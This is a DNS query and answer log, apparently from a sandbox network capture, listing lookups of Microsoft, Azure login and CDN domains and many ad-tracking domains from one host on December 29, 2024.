Dec 29, 2024 13:55:16.970617056 CET	192.168.2.4	1.1.1.1	0x83b8	Standard query (0)	c.s-microsoft.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:17.187637091 CET	192.168.2.4	1.1.1.1	0x4b8d	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:17.187772989 CET	192.168.2.4	1.1.1.1	0x2dc8	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Dec 29, 2024 13:55:24.780841112 CET	192.168.2.4	1.1.1.1	0xb5c2	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.780983925 CET	192.168.2.4	1.1.1.1	0x635e	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:26.943504095 CET	192.168.2.4	1.1.1.1	0x587f	Standard query (0)	mscom.demdex.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:26.944503069 CET	192.168.2.4	1.1.1.1	0x198b	Standard query (0)	mscom.demdex.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:26.958204985 CET	192.168.2.4	1.1.1.1	0xf285	Standard query (0)	msftenterprise.sc.omtrdc.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:26.958369970 CET	192.168.2.4	1.1.1.1	0xff9a	Standard query (0)	msftenterprise.sc.omtrdc.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:26.959891081 CET	192.168.2.4	1.1.1.1	0xefba	Standard query (0)	cm.everesttech.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:26.960043907 CET	192.168.2.4	1.1.1.1	0x4f54	Standard query (0)	cm.everesttech.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:27.914289951 CET	192.168.2.4	1.1.1.1	0x2b4f	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.914576054 CET	192.168.2.4	1.1.1.1	0xdfde	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:29.353821039 CET	192.168.2.4	1.1.1.1	0x8901	Standard query (0)	msftenterprise.sc.omtrdc.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.356632948 CET	192.168.2.4	1.1.1.1	0xbd4d	Standard query (0)	msftenterprise.sc.omtrdc.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:29.425221920 CET	192.168.2.4	1.1.1.1	0xcdc8	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.425357103 CET	192.168.2.4	1.1.1.1	0x1ba0	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:29.663960934 CET	192.168.2.4	1.1.1.1	0x6c2b	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.664258003 CET	192.168.2.4	1.1.1.1	0x99f2	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:30.679411888 CET	192.168.2.4	1.1.1.1	0x68c5	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:30.679671049 CET	192.168.2.4	1.1.1.1	0x3cf9	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:33.163949966 CET	192.168.2.4	1.1.1.1	0xe682	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:33.164189100 CET	192.168.2.4	1.1.1.1	0x526f	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:33.880990028 CET	192.168.2.4	1.1.1.1	0xa43d	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:33.881244898 CET	192.168.2.4	1.1.1.1	0xc994	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:34.391948938 CET	192.168.2.4	1.1.1.1	0xca25	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.392088890 CET	192.168.2.4	1.1.1.1	0xef88	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:35.143851995 CET	192.168.2.4	1.1.1.1	0xc458	Standard query (0)	rtd.tubemogul.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:35.144201040 CET	192.168.2.4	1.1.1.1	0x79cb	Standard query (0)	rtd.tubemogul.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:35.145159960 CET	192.168.2.4	1.1.1.1	0x161e	Standard query (0)	idpix.media6degrees.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:35.145368099 CET	192.168.2.4	1.1.1.1	0xa9b7	Standard query (0)	idpix.media6degrees.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:35.145733118 CET	192.168.2.4	1.1.1.1	0xf686	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:35.145855904 CET	192.168.2.4	1.1.1.1	0x80b3	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:36.082081079 CET	192.168.2.4	1.1.1.1	0xdd9f	Standard query (0)	idpix.media6degrees.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:36.082535028 CET	192.168.2.4	1.1.1.1	0x712f	Standard query (0)	idpix.media6degrees.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:36.881017923 CET	192.168.2.4	1.1.1.1	0x1e00	Standard query (0)	mem.gfx.ms	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:36.881520033 CET	192.168.2.4	1.1.1.1	0x6202	Standard query (0)	mem.gfx.ms	65	IN (0x0001)	false
Dec 29, 2024 13:55:37.439687014 CET	192.168.2.4	1.1.1.1	0xa343	Standard query (0)	rtd-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:37.439815044 CET	192.168.2.4	1.1.1.1	0x4fd5	Standard query (0)	rtd-tm.everesttech.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:41.361848116 CET	192.168.2.4	1.1.1.1	0x4e4c	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:41.361995935 CET	192.168.2.4	1.1.1.1	0xde6d	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Dec 29, 2024 13:55:42.722628117 CET	192.168.2.4	1.1.1.1	0xf411	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:42.723180056 CET	192.168.2.4	1.1.1.1	0x9685	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:45.229657888 CET	192.168.2.4	1.1.1.1	0x3eb2	Standard query (0)	analytics.twitter.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:45.230135918 CET	192.168.2.4	1.1.1.1	0x2219	Standard query (0)	analytics.twitter.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:47.258678913 CET	192.168.2.4	1.1.1.1	0xf27	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.259174109 CET	192.168.2.4	1.1.1.1	0xef3c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:47.973803043 CET	192.168.2.4	1.1.1.1	0x4e4d	Standard query (0)	servedby.flashtalking.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.973964930 CET	192.168.2.4	1.1.1.1	0x880d	Standard query (0)	servedby.flashtalking.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:47.976974010 CET	192.168.2.4	1.1.1.1	0x53e3	Standard query (0)	a.tribalfusion.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.977144957 CET	192.168.2.4	1.1.1.1	0x7dea	Standard query (0)	a.tribalfusion.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:47.977518082 CET	192.168.2.4	1.1.1.1	0x9d5d	Standard query (0)	cms.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.978064060 CET	192.168.2.4	1.1.1.1	0xf72b	Standard query (0)	cms.analytics.yahoo.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:47.979917049 CET	192.168.2.4	1.1.1.1	0x2aa7	Standard query (0)	px.owneriq.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.980084896 CET	192.168.2.4	1.1.1.1	0x7a2f	Standard query (0)	px.owneriq.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:47.980557919 CET	192.168.2.4	1.1.1.1	0x4f92	Standard query (0)	jadserve.postrelease.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.980726004 CET	192.168.2.4	1.1.1.1	0xc984	Standard query (0)	jadserve.postrelease.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:47.981260061 CET	192.168.2.4	1.1.1.1	0x467c	Standard query (0)	ds.reson8.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:47.981451035 CET	192.168.2.4	1.1.1.1	0xa7ba	Standard query (0)	ds.reson8.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:48.761847973 CET	192.168.2.4	1.1.1.1	0x68c0	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:48.762082100 CET	192.168.2.4	1.1.1.1	0xbe25	Standard query (0)	bttrack.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:49.900521994 CET	192.168.2.4	1.1.1.1	0x132	Standard query (0)	s.tribalfusion.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:49.900794983 CET	192.168.2.4	1.1.1.1	0x657b	Standard query (0)	s.tribalfusion.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:50.792598963 CET	192.168.2.4	1.1.1.1	0x553e	Standard query (0)	dmpsync.3lift.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:50.792871952 CET	192.168.2.4	1.1.1.1	0x4e1	Standard query (0)	dmpsync.3lift.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:51.766001940 CET	192.168.2.4	1.1.1.1	0xf44c	Standard query (0)	ag.innovid.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:51.766113997 CET	192.168.2.4	1.1.1.1	0xfce6	Standard query (0)	ag.innovid.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:52.140158892 CET	192.168.2.4	1.1.1.1	0x8e22	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:52.140321970 CET	192.168.2.4	1.1.1.1	0xa0f9	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:53.700700045 CET	192.168.2.4	1.1.1.1	0x8af7	Standard query (0)	jadserve.postrelease.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:53.700855970 CET	192.168.2.4	1.1.1.1	0x44fa	Standard query (0)	jadserve.postrelease.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:56.161542892 CET	192.168.2.4	1.1.1.1	0xacc8	Standard query (0)	rtb.adentifi.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:56.161675930 CET	192.168.2.4	1.1.1.1	0xd1b9	Standard query (0)	rtb.adentifi.com	65	IN (0x0001)	false
Dec 29, 2024 13:55:58.352044106 CET	192.168.2.4	1.1.1.1	0x3f8f	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.352161884 CET	192.168.2.4	1.1.1.1	0x61b	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Dec 29, 2024 13:55:58.528080940 CET	192.168.2.4	1.1.1.1	0xffad	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:58.528238058 CET	192.168.2.4	1.1.1.1	0xc9c6	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 13:54:03.862468958 CET	1.1.1.1	192.168.2.4	0x4902	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:03.888726950 CET	1.1.1.1	192.168.2.4	0x6812	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:03.888726950 CET	1.1.1.1	192.168.2.4	0x6812	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:03.888726950 CET	1.1.1.1	192.168.2.4	0x6812	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:05.525943041 CET	1.1.1.1	192.168.2.4	0xec55	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 29, 2024 13:54:05.527273893 CET	1.1.1.1	192.168.2.4	0x456d	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.309211016 CET	1.1.1.1	192.168.2.4	0x6799	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.311011076 CET	1.1.1.1	192.168.2.4	0x50fb	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.311011076 CET	1.1.1.1	192.168.2.4	0x50fb	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.436686993 CET	1.1.1.1	192.168.2.4	0x9756	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.436686993 CET	1.1.1.1	192.168.2.4	0x9756	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.582448959 CET	1.1.1.1	192.168.2.4	0xfdce	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.617499113 CET	1.1.1.1	192.168.2.4	0x3231	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.617499113 CET	1.1.1.1	192.168.2.4	0x3231	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.617499113 CET	1.1.1.1	192.168.2.4	0x3231	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.619344950 CET	1.1.1.1	192.168.2.4	0x69a8	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.619344950 CET	1.1.1.1	192.168.2.4	0x69a8	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.701762915 CET	1.1.1.1	192.168.2.4	0x79b	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.701762915 CET	1.1.1.1	192.168.2.4	0x79b	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.701762915 CET	1.1.1.1	192.168.2.4	0x79b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.701762915 CET	1.1.1.1	192.168.2.4	0x79b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:12.842338085 CET	1.1.1.1	192.168.2.4	0x2a25	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:12.843859911 CET	1.1.1.1	192.168.2.4	0xab0	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:13.214227915 CET	1.1.1.1	192.168.2.4	0x2514	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:13.326423883 CET	1.1.1.1	192.168.2.4	0xb765	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:13.326423883 CET	1.1.1.1	192.168.2.4	0xb765	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:13.326423883 CET	1.1.1.1	192.168.2.4	0xb765	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:22.447447062 CET	1.1.1.1	192.168.2.4	0x14a1	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:22.447798014 CET	1.1.1.1	192.168.2.4	0xc350	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:22.447798014 CET	1.1.1.1	192.168.2.4	0xc350	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:22.447798014 CET	1.1.1.1	192.168.2.4	0xc350	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:24.378766060 CET	1.1.1.1	192.168.2.4	0x4e7b	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:24.473298073 CET	1.1.1.1	192.168.2.4	0xf8d8	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:30.662975073 CET	1.1.1.1	192.168.2.4	0x388d	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:30.662975073 CET	1.1.1.1	192.168.2.4	0x388d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:30.662975073 CET	1.1.1.1	192.168.2.4	0x388d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:30.663556099 CET	1.1.1.1	192.168.2.4	0xbe6e	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:32.063747883 CET	1.1.1.1	192.168.2.4	0x1c91	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:32.064328909 CET	1.1.1.1	192.168.2.4	0x5e4c	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:35.007030964 CET	1.1.1.1	192.168.2.4	0xdc12	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:35.007030964 CET	1.1.1.1	192.168.2.4	0xdc12	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:35.908390999 CET	1.1.1.1	192.168.2.4	0xfd88	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:35.908390999 CET	1.1.1.1	192.168.2.4	0xfd88	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:35.908390999 CET	1.1.1.1	192.168.2.4	0xfd88	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:35.908390999 CET	1.1.1.1	192.168.2.4	0xfd88	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:36.404517889 CET	1.1.1.1	192.168.2.4	0x3588	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:36.404517889 CET	1.1.1.1	192.168.2.4	0x3588	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:38.127890110 CET	1.1.1.1	192.168.2.4	0xbc40	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:38.127890110 CET	1.1.1.1	192.168.2.4	0xbc40	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:40.645952940 CET	1.1.1.1	192.168.2.4	0x1662	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:40.645952940 CET	1.1.1.1	192.168.2.4	0x1662	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:40.646596909 CET	1.1.1.1	192.168.2.4	0x2e45	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:40.646596909 CET	1.1.1.1	192.168.2.4	0x2e45	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:40.646596909 CET	1.1.1.1	192.168.2.4	0x2e45	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:44.435205936 CET	1.1.1.1	192.168.2.4	0xf6db	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:44.435621977 CET	1.1.1.1	192.168.2.4	0x4159	No error (0)	assets.adobedtm.com	cn-assets.adobedtm.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:50.959512949 CET	1.1.1.1	192.168.2.4	0x394a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:50.959512949 CET	1.1.1.1	192.168.2.4	0x394a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:51.489000082 CET	1.1.1.1	192.168.2.4	0xad85	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:51.489000082 CET	1.1.1.1	192.168.2.4	0xad85	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:51.628345013 CET	1.1.1.1	192.168.2.4	0x961a	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:51.628345013 CET	1.1.1.1	192.168.2.4	0x961a	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:51.629147053 CET	1.1.1.1	192.168.2.4	0x4af3	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:51.740376949 CET	1.1.1.1	192.168.2.4	0x3f19	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:51.740376949 CET	1.1.1.1	192.168.2.4	0x3f19	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:51.788028955 CET	1.1.1.1	192.168.2.4	0x425f	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:51.788028955 CET	1.1.1.1	192.168.2.4	0x425f	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:51.788727045 CET	1.1.1.1	192.168.2.4	0x96a6	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:52.556875944 CET	1.1.1.1	192.168.2.4	0x80d0	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:52.556875944 CET	1.1.1.1	192.168.2.4	0x80d0	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:53.709314108 CET	1.1.1.1	192.168.2.4	0xc77	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:53.709314108 CET	1.1.1.1	192.168.2.4	0xc77	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:54:59.442651987 CET	1.1.1.1	192.168.2.4	0xead8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:59.542342901 CET	1.1.1.1	192.168.2.4	0x72fa	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:59.542342901 CET	1.1.1.1	192.168.2.4	0x72fa	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:54:59.542342901 CET	1.1.1.1	192.168.2.4	0x72fa	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:02.432163954 CET	1.1.1.1	192.168.2.4	0x3d89	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:02.443825960 CET	1.1.1.1	192.168.2.4	0x606d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:02.443825960 CET	1.1.1.1	192.168.2.4	0x606d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:02.443825960 CET	1.1.1.1	192.168.2.4	0x606d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
